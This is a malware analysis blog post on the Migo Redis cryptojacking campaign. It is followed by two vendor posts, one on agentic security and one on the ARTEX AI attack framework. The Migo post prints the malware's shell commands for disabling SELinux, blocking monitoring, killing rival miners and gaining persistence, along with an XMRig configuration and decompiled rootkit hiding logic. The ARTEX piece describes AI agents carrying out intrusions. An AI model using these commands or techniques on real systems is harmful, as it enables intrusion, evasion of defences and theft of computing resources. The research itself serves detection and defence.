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Februar 20, 2024

Migo: A Redis Miner with Novel System Weakening Techniques

Migo is a cryptojacking campaign targeting Redis servers, that uses novel system-weakening techniques for initial access. It deploys a Golang ELF binary for cryptocurrency mining, which employs compile-time obfuscation and achieves persistence on Linux hosts. Migo also utilizes a modified user-mode rootkit to hide its processes and on-disk artifacts, complicating analysis and forensics.
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20
Feb. 2024

Introduction: Migo

Researchers from Cado Security Labs (now part of Darktrace) encountered a novel malware campaign targeting Redis for initial access. Whilst Redis is no stranger to exploitation by Linux and cloud-focused attackers, this particular campaign involves the use of a number of novel system weakening techniques against the data store itself. 

The malware, named Migo by the developers, aims to compromise Redis servers for the purpose of mining cryptocurrency on the underlying Linux host. 

Summary:

  • New Redis system weakening commands have been observed in the wild
  • The campaign utilizes these commands to exploit Redis to conduct a cryptojacking attack
  • Migo is delivered as a Golang ELF binary, with compile-time obfuscation and the ability to persist on Linux hosts
  • A modified version of a popular user mode rootkit is deployed by the malware to hide processes and on-disk artefacts

Initial access

Cado researchers were first alerted to the Migo campaign after noticing an unusual series of commands targeting a Redis honeypot. 

A malicious node at the IP 103[.]79[.]118[.]221 connected to the honeypot and disabled the following configuration options using the Redis command line interface’s (CLI) config set feature:

  • set protected-mode
  • replica-read-only
  • aof-rewrite-incremental-fsync
  • rdb-save-incremental-fsync

Discussing each of these in turn will shed some light on the threat actor’s motivation for doing so.

Set protected-mode

Protected mode is an operating mode of the Redis server that’s designed as a mitigation for users who may have inadvertently exposed the server to external networks. [1]

Introduced in version 3.2.0, protected mode is engaged when a Redis server has been deployed in the default configuration (i.e. bound to all networking interfaces) without having password authentication enabled. In this mode, the Redis server will only accept connections from the loopback interface, any other connections will receive an error.

Given that the threat actor does not have access to the loopback interface and is instead attempting to connect externally, this command should automatically fail on Redis servers with protected mode enabled. It’s possible the attacker has misunderstood this feature and is trying to issue a number of system weakening commands in an opportunistic manner. 

This feature is disabled in Cado’s honeypot environment, which is why these commands and additional actions on objective succeed.

Redis honeypot sensor
Figure 1: Disable protected mode command observed by a Redis honeypot sensor

Replica-read-only

As the name suggests, the replica-read-only feature configures Redis replicas (exact copies of a master Redis instance) to reject all incoming write commands [2][3]. This configuration parameter is enabled by default, to prevent accidental writes to replicas which could result in the master/replica topology becoming out of sync.

Cado researchers have previously reported on exploitation of the replication feature being used to deliver malicious payloads to Redis instances. [4] The threat actors behind Migo are likely disabling this feature to facilitate future exploitation of the Redis server.

honeypot sensor
Figure 2: Disable aof-rewrite-incremental-fsync command observed by a Redis honeypot sensor

After disabling these configuration parameters, the threat actor used the set command to set the values of two separate Redis keys. One key is assigned a string value corresponding to a malicious threat actor-controlled SSH key, and the other to a Cron job that retrieves the malicious primary payload from Transfer.sh (a relatively uncommon distribution mechanism previously covered by Cado) via Pastebin [5].

The threat actors will then follow-up with a series of commands to change the working directory of Redis itself, before saving the contents of the database. If the working directory is one of the Cron directories, the file will be parsed by crond and executed as a normal Cron job.  This is a common attack pattern against Redis servers and has been previously documented by Cado and others[6][7]

honeypot sensor
Figure 3: Abusing the set command to register a malicious Cron job

As can be seen above, the threat actors create a key named mimigo and use it to register a Cron job that first checks whether a file exists at /tmp/.xxx1. If not, a simple script is retrieved from Pastebin using either curl or wget, and executed directly in memory by piping through sh.

Pastebin script
Figure 4: Pastebin script used to retrieve primary payload from transfer.sh

This in-memory script proceeds to create an empty file at /tmp/.xxx1 (an indicator to the previous stage that the host has been compromised) before retrieving the primary payload from transfer.sh. This payload is saved as /tmp/.migo, before being executed as a background task via nohup.

Primary payload – static properties

The Migo primary payload (/tmp/.migo) is delivered as a statically-linked and stripped UPX-packed ELF, compiled from Go code for the x86_64 architecture. The sample uses vanilla UPX packing (i.e. the UPX header is intact) and can be trivially unpacked using upx -d. 

After unpacking, analysis of the .gopclntab section of the binary highlights the threat actor’s use of a compile-time obfuscator to obscure various strings relating to internal symbols. You might wonder why this is necessary when the binary is already stripped, the answer lies with a feature of the Go programming language named “Program Counter Line Table (pclntab)”. 

In short, the pclntab is a structure located in the .gopclntab section of a Go ELF binary. It can be used to map virtual addresses to symbol names, for the purposes of generating stack traces. This allows reverse engineers the ability to recover symbols from the binary, even in cases where the binary is stripped.  

The developers of Migo have since opted to further protect these symbols by applying additional compile-time obfuscation. This is likely to prevent details of the malware’s capabilities from appearing in stack traces or being easily recovered by reverse engineers.

‍

gopclntab section
Figure 5: Compile-time symbol obfuscation in gopclntab section

With the help of Interactive Disassembler’s (IDA’s) function recognition engine, we can see a number of Go packages (libraries) used by the binary. This includes functions from the OS package, including os/exec (used to run shell commands on Linux hosts), os.GetEnv (to retrieve the value of a specific environment variable) and os.Open to open files. [8, 9]

OS library functions
 Figure 6: Examples of OS library functions identified by IDA

Additionally, the malware includes the net package for performing HTTP requests, the encoding/json package for working with JSON data and the compress/gzip package for handling gzip archives.

Primarily payload – capabilities

Shortly after execution, the Migo binary will consult an infection marker in the form of a file at /tmp/.migo_running. If this file doesn’t exist, the malware creates it, determines its own process ID and writes the file. This tells the threat actors that the machine has been previously compromised, should they encounter it again.

newfstatat(AT_FDCWD, "/tmp/.migo_running", 0xc00010ac68, 0) = -1 ENOENT (No such file or directory) 
    getpid() = 2557 
    openat(AT_FDCWD, "/tmp/.migo_running", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 6 
    fcntl(6, F_GETFL)  = 0x8002 (flags O_RDWR|O_LARGEFILE) 
    fcntl(6, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 
    epoll_ctl(3, EPOLL_CTL_ADD, 6, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473793, u64=9169307754234380289}}) = -1 EPERM (Operation not permitted) 
    fcntl(6, F_GETFL)  = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) 
    fcntl(6, F_SETFL, O_RDWR|O_LARGEFILE)  = 0 
    write(6, "2557", 4)  = 4 
    close(6) = 0 

‍

Migo proceeds to retrieve the XMRig installer in tar.gz format directly from Github’s CDN, before creating a new directory at /tmp/.migo_worker, where the installer archive is saved as /tmp/.migo_worker/.worker.tar.gz.  Naturally, Migo proceeds to unpack this archive and saves the XMRig binary as /tmp/.migo_worker/.migo_worker. The installation archive contains a default XMRig configuration file, which is rewritten dynamically by the malware and saved to /tmp/.migo_worker/.migo.json.

openat(AT_FDCWD, "/tmp/.migo_worker/config.json", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 9 
    fcntl(9, F_GETFL)  = 0x8002 (flags O_RDWR|O_LARGEFILE) 
    fcntl(9, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 
    epoll_ctl(3, EPOLL_CTL_ADD, 9, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473930, u64=9169307754234380426}}) = -1 EPERM (Operation not permitted) 
    fcntl(9, F_GETFL)  = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) 
    fcntl(9, F_SETFL, O_RDWR|O_LARGEFILE)  = 0 
    write(9, "{\n \"api\": {\n \"id\": null,\n \"worker-id\": null\n },\n \"http\": {\n \"enabled\": false,\n \"host\": \"127.0.0.1\",\n \"port"..., 2346) = 2346 
    newfstatat(AT_FDCWD, "/tmp/.migo_worker/.migo.json", 0xc00010ad38, AT_SYMLINK_NOFOLLOW) = -1 ENOENT (No such file or directory) 
    renameat(AT_FDCWD, "/tmp/.migo_worker/config.json", AT_FDCWD, "/tmp/.migo_worker/.migo.json") = 0 

‍

An example of the XMRig configuration used as part of the campaign (as collected along with the binary payload on the Cado honeypot) can be seen below:

{ 
     "api": { 
     "id": null, 
     "worker-id": null 
     }, 
     "http": { 
     "enabled": false, 
     "host": "127.0.0.1", 
     "port": 0, 
     "access-token": null, 
     "restricted": true 
     }, 
     "autosave": true, 
     "background": false, 
     "colors": true, 
     "title": true, 
     "randomx": { 
     "init": -1, 
     "init-avx2": -1, 
     "mode": "auto", 
     "1gb-pages": false, 
     "rdmsr": true, 
     "wrmsr": true, 
     "cache_qos": false, 
     "numa": true, 
     "scratchpad_prefetch_mode": 1 
     }, 
     "cpu": { 
     "enabled": true, 
     "huge-pages": true, 
     "huge-pages-jit": false, 
     "hw-aes": null, 
     "priority": null, 
     "memory-pool": false, 
     "yield": true, 
     "asm": true, 
     "argon2-impl": null, 
     "argon2": [0, 1], 
     "cn": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-heavy": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-lite": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-pico": [ 
     [2, 0], 
     [2, 1] 
     ], 
     "cn/upx2": [ 
     [2, 0], 
     [2, 1] 
     ], 
     "ghostrider": [ 
     [8, 0], 
     [8, 1] 
     ], 
     "rx": [0, 1], 
     "rx/wow": [0, 1], 
     "cn-lite/0": false, 
     "cn/0": false, 
     "rx/arq": "rx/wow", 
     "rx/keva": "rx/wow" 
     }, 
     "log-file": null, 
     "donate-level": 1, 
     "donate-over-proxy": 1, 
     "pools": [ 
     { 
     "algo": null, 
     "coin": null, 
     "url": "xmrpool.eu:9999", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": null, 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": null, 
     "url": "pool.hashvault.pro:443", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": "migo", 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": "XMR", 
     "url": "xmr-jp1.nanopool.org:14433", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": null, 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": false, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": null, 
     "url": "pool.supportxmr.com:443", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": "migo", 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     } 
     ], 
     "retries": 5, 
     "retry-pause": 5, 
     "print-time": 60, 
     "dmi": true, 
     "syslog": false, 
     "tls": { 
     "enabled": false, 
     "protocols": null, 
     "cert": null, 
     "cert_key": null, 
     "ciphers": null, 
     "ciphersuites": null, 
     "dhparam": null 
     }, 
     "dns": { 
     "ipv6": false, 
     "ttl": 30 
     }, 
     "user-agent": null, 
     "verbose": 0, 
     "watch": true, 
     "pause-on-battery": false, 
     "pause-on-active": false 
    } 

‍

With the miner installed and an XMRig configuration set, the malware proceeds to query some information about the system, including the number of logged-in users (via the w binary) and resource limits for users on the system. It also sets the number of Huge Pages available on the system to 128, using the vm.nr_hugepages parameter. These actions are fairly typical for cryptojacking malware. [10]

Interestingly, Migo appears to recursively iterate through files and directories under /etc. The malware will simply read files in these locations and not do anything with the contents. One theory, based on this analysis, is that this could be a (weak) attempt to confuse sandbox and dynamic analysis solutions by performing a large number of benign actions, resulting in a non-malicious classification. It’s also possible the malware is hunting for an artefact specific to the target environment that’s missing from our own analysis environment. However, there was no evidence of this recovered during our analysis.

Once this is complete, the binary is copied to /tmp via the /proc/self/exe symlink ahead of registering persistence, before a series of shell commands are executed. An example of these commands is listed below.

/bin/chmod +x /tmp/.migo 
    /bin/sh -c "echo SELINUX=disabled > /etc/sysconfig/selinux" 
    /bin/sh -c "ls /usr/local/qcloud/YunJing/uninst.sh || ls /var/lib/qcloud/YunJing/uninst.sh" 
    /bin/sh -c "ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh || ls /usr/local/qcloud/stargate/admin/uninstall.sh" 
    /bin/sh -c command -v setenforce 
    /bin/sh -c command -v systemctl 
    /bin/sh -c setenforce 0o 
    go_worker --config /tmp/.migo_worker/.migo.json 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /home" 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /root" 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /tmp" 
    bash -c "systemctl start system-kernel.timer && systemctl enable system-kernel.timer" 
    iptables -A OUTPUT -d 10.148.188.201 -j DROP 
    iptables -A OUTPUT -d 10.148.188.202 -j DROP 
    iptables -A OUTPUT -d 11.149.252.51 -j DROP 
    iptables -A OUTPUT -d 11.149.252.57 -j DROP 
    iptables -A OUTPUT -d 11.149.252.62 -j DROP 
    iptables -A OUTPUT -d 11.177.124.86 -j DROP 
    iptables -A OUTPUT -d 11.177.125.116 -j DROP 
    iptables -A OUTPUT -d 120.232.65.223 -j DROP 
    iptables -A OUTPUT -d 157.148.45.20 -j DROP 
    iptables -A OUTPUT -d 169.254.0.55 -j DROP 
    iptables -A OUTPUT -d 183.2.143.163 -j DROP 
    iptables -C OUTPUT -d 10.148.188.201 -j DROP 
    iptables -C OUTPUT -d 10.148.188.202 -j DROP 
    iptables -C OUTPUT -d 11.149.252.51 -j DROP 
    iptables -C OUTPUT -d 11.149.252.57 -j DROP 
    iptables -C OUTPUT -d 11.149.252.62 -j DROP 
    iptables -C OUTPUT -d 11.177.124.86 -j DROP 
    iptables -C OUTPUT -d 11.177.125.116 -j DROP 
    iptables -C OUTPUT -d 120.232.65.223 -j DROP 
    iptables -C OUTPUT -d 157.148.45.20 -j DROP 
    iptables -C OUTPUT -d 169.254.0.55 -j DROP 
    iptables -C OUTPUT -d 183.2.143.163 -j DROP 
    kill -9 
    ls /usr/local/aegis/aegis_client 
    ls /usr/local/aegis/aegis_update 
    ls /usr/local/cloudmonitor/cloudmonitorCtl.sh 
    ls /usr/local/qcloud/YunJing/uninst.sh 
    ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh 
    ls /usr/local/qcloud/stargate/admin/uninstall.sh 
    ls /var/lib/qcloud/YunJing/uninst.sh 
    lsattr /etc/cron.d/0hourly 
    lsattr /etc/cron.d/raid-check 
    lsattr /etc/cron.d/sysstat 
    lsattr /etc/crontab 
    sh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1" 
    sh -c "ps -ef | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep ddgs | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep f2poll | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep hashfish | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep t00ls.ru | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep xmrig | awk '{print $2}' | xargs kill -9" 
    systemctl start system-kernel.timer 
    systemctl status firewalld 

‍

In summary, they perform the following actions:

  • Make the copied version of the binary executable, to be executed via a persistence mechanism
  • Disable SELinux and search for uninstallation scripts for monitoring agents bundled in compute instances from cloud providers such as Qcloud and Alibaba Cloud
  • Execute the miner and pass the dropped configuration into it
  • Configure iptables to drop outbound traffic to specific IPs
  • Kill competing miners and payloads from similar campaigns
  • Register persistence via the systemd timer system-kernel.timer

Note that these actions are consistent with prior mining campaigns targeting East Asian cloud providers analyzed by Cado researchers [11].

Migo will also attempt to prevent outbound traffic to domains belonging to these cloud providers by writing the following lines to /etc/hosts, effectively creating a blackhole for each of these domains. It’s likely that this is to prevent monitoring agents and update software from contacting these domains and triggering any alerts that might be in place. 

This also gives some insight into the infrastructure targeted by the malware, as these domains belong to the same cloud service providers as we discussed previously.

modified contents
Figure 7: Modified contents of /etc/hosts

Persistence

As seen in the commands above, Migo achieves persistence on the target host via the use of a systemd service and associated systemd timer. These are named system-kernel.timer and system-kernel.service respectively. 

The service unit is straightforward, it simply ensures the Migo payload is executable before invoking it. The malware also configures the allowed number of open file descriptors (via the LimitNOFILE parameter) and increases the CPU shares weighting to 1000000, allowing the miner to fully utilize the CPU.

example contents
Figure 8: Example contents of system-kernel.service

This service is controlled by an associated systemd timer, allowing it to be executed 5 seconds after the machine boots, and executed again every five seconds following that [12]. This, in combination with the infection marker mentioned previously, ensures the miner is kept running and can effectively contribute to the mining pool.

Example contents
Figure 9: Example contents of system-kernel.timer

Process hiding

Interestingly, Migo will attempt to hide on-disk artefacts dropped by itself via the use of a user mode rootkit. These artefacts include the contents /tmp/.migo_worker directory, where the malware stores the miner and configuration file, as well as the main payload located at /tmp/.migo. 

To achieve this, the malware updates /etc/ld.so.preload to point at a Linux shared object file located at /usr/local/lib/libsystemd.so, effectively conducting Dynamic Linker hijacking on the Redis host. [13] This shared object is embedded within the Migo primary payload and is extracted at runtime.

 if ( !original_readdir ) 
     { 
     original_readdir = dlsym(0xFFFFFFFFFFFFFFFFLL, "readdir"); 
     if ( !original_readdir ) 
     { 
     v1 = dlerror(); 
     fprintf(stderr, aDlsym_0, v1); 
     } 
     } 
     do 
     v5 = original_readdir(a1); 
     while ( v5 
     && (get_dir_name(a1, s1, 256LL) 
     && !strcmp(s1, "/proc") 
     && get_process_name(v5 + 19, v4) 
     && should_hide_entry(v4, &hiddenProcesses, 3LL) 
     || should_hide_entry(v5 + 19, hiddenFiles, 4LL) 
     || *(v5 + 18) == 4 && should_hide_entry(v5 + 19, &hiddenDirectories, 1LL)) ); 
     return v5; 
    } 

Decompiler output for the process and file hiding functionality in libsystemd.so

libsystemd.so is a process hider based on the open source libprocesshider project, seen frequently in cryptojacking campaigns. [14, 15] With this shared object in place, the malware intercepts invocations of file and process listing tools (ls, ps, top etc) and hides the appropriate lines from the tool’s output.

Examples of hardcoded artefacts
Figure 10: Examples of hardcoded artefacts to hide

Conclusion

Migo demonstrates that cloud-focused attackers are continuing to refine their techniques and improve their ability to exploit web-facing services. The campaign utilized a number of Redis system weakening commands, in an attempt to disable security features of the data store that may impede their initial access attempts. These commands have not previously been reported in campaigns leveraging Redis for initial access. 

The developers of Migo also appear to be aware of the malware analysis process, taking additional steps to obfuscate symbols and strings found in the pclntab structure that could aid reverse engineering. Even the use of Go to produce a compiled binary as the primary payload, rather than using a series of shell scripts as seen in previous campaigns, suggests that those behind Migo are continuing to hone their techniques and complicate the analysis process. 

In addition, the use of a user mode rootkit could complicate post-incident forensics of hosts compromised by Migo. Although libprocesshider is frequently used by cryptojacking campaigns, this particular variant includes the ability to hide on-disk artefacts in addition to the malicious processes themselves.

Indicators of compromise (IoC)

File SHA256

/tmp/.migo (packed) 8cce669c8f9c5304b43d6e91e6332b1cf1113c81f355877dabd25198c3c3f208

/tmp/.migo_worker/.worker.tar.gz c5dc12dbb9bb51ea8acf93d6349d5bc7fe5ee11b68d6371c1bbb098e21d0f685

/tmp/.migo_worker/.migo_json 2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

/tmp/.migo_worker/.migo_worker (XMRig) 364a7f8e3701a340400d77795512c18f680ee67e178880e1bb1fcda36ddbc12c

system-kernel.service 5dc4a48ebd4f4be7ffcf3d2c1e1ae4f2640e41ca137a58dbb33b0b249b68759e

system-kernel.service 76ecd546374b24443d76c450cb8ed7226db84681ee725482d5b9ff4ce3273c7f

libsystemd.so 32d32bf0be126e685e898d0ac21d93618f95f405c6400e1c8b0a8a72aa753933

IP addresses

103[.]79[.]118[.]221

References

  1. https://redis.io/docs/latest/operate/oss_and_stack/management/security/#protected-mode
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/#read-only-replica
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/
  1. https://www.cadosecurity.com/blog/redis-p2pinfect
  1. https://www.cadosecurity.com/blog/redis-miner-leverages-command-line-file-hosting-service
  1. https://www.cadosecurity.com/blog/kiss-a-dog-discovered-utilizing-a-20-year-old-process-hider
  1. https://www.trendmicro.com/en_ph/research/20/d/exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining.html
  1. https://pkg.go.dev/os
  1. https://pkg.go.dev/os/exec
  1. https://www.crowdstrike.com/en-us/blog/2021-cryptojacking-trends-and-investigation-recommendations/  
  1. https://www.cadosecurity.com/blog/watchdog-continues-to-target-east-asian-csps
  1. https://www.cadosecurity.com/blog/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload
  1. https://www.cadosecurity.com/blog/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload
  1. https://github.com/gianlucaborello/libprocesshider
  1. https://www.cadosecurity.com/blog/abcbot-an-evolution-of-xanthe

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Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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November 19, 2026

Microsoft Perception, Agentic Insiders and the Role of Behavioral Security

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This week at Ignite, Microsoft announced that Microsoft Perception is generally available. It is a significant milestone for the industry, and one we welcome as a Microsoft partner. Microsoft is putting an architectural bet at the center of its security strategy: AI has changed the speed of cyber, and defense must change with it.

At Darktrace, we’ve long held the same view, so it’s encouraging to see a partner of Microsoft’s scale articulate it so clearly and bring it to market.

Security gets a team of agents

Perception is Microsoft’s agentic security system. It orchestrates red, blue, and green team agents through playbooks in a closed loop: red agents simulate attacks, blue agents detect, triage and investigate, and green agents fix and remediate. Rather than adding another assistant to the SOC, it creates coordinated teams of agents that share context. Security teams set the guardrails and approve high-impact actions.

Microsoft frames this as a three-layer cyber stack: signals, sensors and actuators; a context layer; and agents, harness and models on top. Together with partner sources, the foundation produces more than 165 trillion signals per day.  

The announcement also makes a second point that matters just as much. Microsoft is treating AI agents themselves as a new insider-risk category. In its words, “Agents are the new insiders.” They work at machine speed, around the clock, with broad access to data, apps, tools and other agents, and like any insider they can make mistakes, be manipulated or be compromised. New capabilities such as Dynamic Agent Risk (now in preview) and dynamic Conditional Access controls are designed to assess and contain that risk as it changes.

Four truths about security in the agentic era

The announcement is built on four ideas, and together they describe the new reality security teams are defending:

  1. Static security can’t keep up. Microsoft validates what many security practitioners have observed; the window between a vulnerability’s discovery and its exploitation is collapsing from months to minutes. Manual triage can’t answer that pace. Autonomous detection and response is now a requirement, not simply a “nice to have”.
  2. Agents must be treated as insiders. The question for security teams is no longer only “who is this user?” but “what is this agent actually doing?” Identity tells you who an agent is. Policy tells you what it is allowed to do. Neither tells you whether its behavior is normal.
  3. Security is moving from signatures to behavior and context. Dynamic Agent Risk looks across identity, data, endpoint, cloud and network signals and asks whether an agent’s actions are drifting from the intent of its task. That is behavioral thinking, and it is philosophically close to the Adaptive AI approach Darktrace has pioneered.
  4. Machine-speed attacks demand machine-speed response. Humans set the objectives and guardrails. Autonomous systems do the work inside them, both detecting and acting. Microsoft’s design has agents investigate, recommend and, within approved boundaries, act, with security teams setting the limits. At this pace, the gap between knowing something is wrong and doing something about it has to close to seconds.

The opportunity: where control plane meets behavioral context

Perception is an extraordinary control plane for agentic security. The question for security leaders is how to make it even more effective in the environments they actually run.

Real enterprises are heterogeneous. They run AWS and Google Cloud alongside Azure, and OT, IoT and third-party identity alongside Entra. Increasingly they also run AI agents and MCP-connected systems that no single vendor’s telemetry fully covers. Microsoft’s architecture recognizes this, with more than 500 connectors into the wider ecosystem.

That is where Darktrace’s role is distinct. The challenge isn’t signal volume, where Microsoft’s scale is unmatched. It’s deeply understanding what is normal for a specific organization, across every system, identity and agent in it. Together, we deliver two complementary layers:

  • Microsoft brings global intelligence and orchestration. It tells you what is known, what it means and what to do about it.
  • Darktrace brings organization-specific behavioral context. It tells you what is unusual here, right now, across the organizations AI, people and infrastructure, even if it has never been seen before.

The difference shows up in the numbers. A large enterprise generates billions of signals. Darktrace turns them into thousands of incidents, narrows those to hundreds of AI-led investigations, and surfaces as few as 20 that merit a human’s attention. For an agentic SOC, that kind of evaluated, prioritized input makes agents faster, not busier.

As enterprises deploy more agents, the hard problem becomes behavior that is technically permitted but unusual, manipulated or inconsistent with the agent’s purpose. Consider an agent that normally reads Salesforce records during US business hours and suddenly starts enumerating SharePoint and opening unusual outbound connections. Each step may use valid access and approved tools, so identity and policy checks can all pass. Spotting it requires knowing the behavior is abnormal for this agent, in this environment, right now.

That is why one principle in Microsoft’s AI Transparency Initiative matters so much: organizations should be able to see what their AI accesses and does, and independently verify those actions.  

  • Identity and permissions answer “should this agent be allowed to do this?”
  • Behavioral defense answers “even though it is allowed, is what it’s doing normal?”

Deterministic controls around non-deterministic AI are the right foundation, and continuously learned baselines are how organizations can verify those controls are working. ‍

What to look for in an agentic SOC architecture

As organizations adopt platforms like Perception, we’d encourage them to look for three capabilities:

  1. Behavioral context in the control plane. Agents work best with high-confidence signals rather than thousands of raw alerts: here is the behavior that materially deviates from this organization’s learned normal.
  2. ‍Behavioral reasoning on demand. During an investigation, agents should be able to ask what changed around a given identity, device or agent in the last 24 hours, and get a clear answer. ‍
  3. Autonomous, coordinated response across the stack. Response should be as fast as the threat without being reckless: acting immediately when confidence is high, constraining or reversing actions when it isn’t, and keeping a human in the loop when it matters. Within policy and human-approval guardrails, it should target the abnormal behavior rather than the whole business process and span identity, endpoint and the wider environment.

These are the areas where we’re focused, and where we look forward to working with Microsoft and the broader ecosystem.

Response is where speed is won or lost

In the AI era, detection and investigation only matter if action follows quickly. Perception brings agentic orchestration to that problem, with security teams setting the guardrails and approving high-impact steps. Autonomous response from Darktrace takes a complementary approach: it responds on behavioral deviation, in a way that is proportionate and targeted. It can interrupt activity that is abnormal for that specific device, identity or agent while leaving normal business activity running.

The two approaches fit together naturally. Behavioral signals can tell an orchestration layer that something has changed and how confident the system is. Orchestrated playbooks can then coordinate wider containment across identity, endpoint and cloud, within the policies customers define.

The bigger picture

The industry’s architecture is converging on identity, policy, telemetry, behavior, autonomous reasoning and machine-speed response. Microsoft is building formidable pieces of that picture, especially identity, policy, telemetry and orchestration.

Behavior is the layer Darktrace is built to provide: an independent intelligence that continuously learns how humans, machines and AI agents normally act, detects the moment reality departs from intent, and can respond to that deviation in a targeted, proportionate way that keeps normal business running. When attacks move at machine speed, understanding what is abnormal and acting on it quickly have to go together.

Perception brings together what Microsoft knows and orchestrates the response across its stack. Darktrace helps organizations understand what is normal for them and act on what isn’t. Customers building their agentic security strategy will need both.

Congratulations to our partners at Microsoft on this milestone. We look forward to helping customers secure the agentic era together.

Learn more about Darktrace Behavioral Defense.

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About the author
Kellie Regan
Director, Product Marketing - Cloud Security

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November 19, 2026

Agentic attacks in the wild: Inside three ARTEX investigations

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Key insights

·       Darktrace observed activity in several customer environments involving infrastructure and behaviors associated with reported ARTEX-enabled campaigns, including activity linked to China-nexus espionage and financially motivated attacks.

·       In the higher-confidence cases, known infrastructure appeared alongside beaconing, unusual TLS, reconnaissance, tunneling, script retrieval, SMB activity and external data transfer. One Azure case had no observed network command and control at all, only key listing and application identity activity.

·       ARTEX is now used by actors with different objectives. Identifying the framework can help locate relevant activity, while the behavior around the affected system provides the stronger evidence for understanding compromise and attribution.

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Introduction

Attackers have moved beyond using AI for phishing and are running agentic frameworks; open-source tools like ARTEX, CAIRN, PentAGI and Hexstrike that let AI agents scan, exploit and move through an environment with little human input [1]. ARTEX has moved quickly from an offensive security project into live intrusion activity. Since at least August 2026, the framework has been associated with espionage, financially motivated attacks and opportunistic campaigns across government, financial services, technology, defense, telecommunications and other sectors. The FBI has documented ARTEX activity spanning reconnaissance, exploitation, credential abuse, lateral movement, collection, command and control, and exfiltration [2].

Darktrace has observed activity in customer environments that overlaps with infrastructure, tooling and behaviors reported in several of these campaigns. The cases below highlight how those intrusions appeared on the network, including the activity visible before an analyst can determine which actor or framework may be responsible.

ARTEX as part of the attacker workflow

ARTEX is an open-source, multi-agent offensive security platform that converts high-level objectives into actions carried out by specialized agents [2]. Operators have used it to automate activity across the attack lifecycle, including scanning, exploitation, credential activity and post-compromise operations. Some reported intrusions moved from initial targeting to privileged access in under three hours [2].

The framework is now associated with actors pursuing different objectives and using different post-exploitation tooling. The original public repository was removed in October 2026, but archived copies and localized versions remain available. For defenders, ARTEX is more useful as context for an investigation than as an attribution shortcut.

Darktrace observations show the same point at network level. Infrastructure linked to reported ARTEX campaigns appeared alongside beaconing, tunneling, unusual TLS, reconnaissance, file retrieval and lateral activity.
